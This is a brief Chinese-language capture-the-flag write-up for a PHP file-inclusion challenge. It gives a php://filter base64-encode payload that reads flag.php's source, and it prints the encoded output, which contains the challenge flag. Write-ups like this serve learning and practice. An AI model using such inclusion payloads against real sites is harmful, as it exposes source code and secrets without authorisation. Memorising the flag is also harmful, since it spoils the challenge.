打开题目：

就一个tips

看看源码：

奥，file=flag.php

而且再看题目：include

应该是文件包含漏洞，是一道php伪协议题目

-.-PHP伪协议-.-：

我们通过 php://filter 来获取源码：
构造payload:
 

​​​​​​​?file=php://filter/read=convert.base64-encode/resource=flag.php

就可以得到base64编码后的flag.php：
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7N2M3MTA2NjMtYzllZi00YjBlLWI2ODctZTRjNjU5YTdiODE2fQo=

利用 CyberChef 进行解码:

得到flag.php的内容：

即可得到flag。